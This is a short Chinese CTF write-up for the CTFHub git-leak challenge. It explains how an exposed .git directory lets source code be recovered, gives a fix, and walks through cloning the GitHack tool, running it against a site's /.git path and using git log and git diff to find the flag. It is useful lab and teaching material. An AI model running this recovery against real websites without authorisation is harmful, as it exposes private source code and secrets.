CTFHub~git密码泄露

Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码;

项目地址 :GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本

修复建议 :删除.git目录或者修改中间件配置进行对.git隐藏文件夹的访问;

用法方式:GitHack.py http://www.openssl.org/.git/

 # 安装GitHack
  git clone https://github.com/BugScanTeam/GitHack
# 开始对网站进行git源码泄露操作
python2 GitHack.py +url/.git 

 # 查看disk文件夹,发现有文件,说明源码泄露。
cd dist

# 使用命令发现flag
git log

# 然后我们对比两次的记录,最后得到flag
git diff +两个文件名

 好小子 ,离成功又进了一步!!!!

  • 12
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值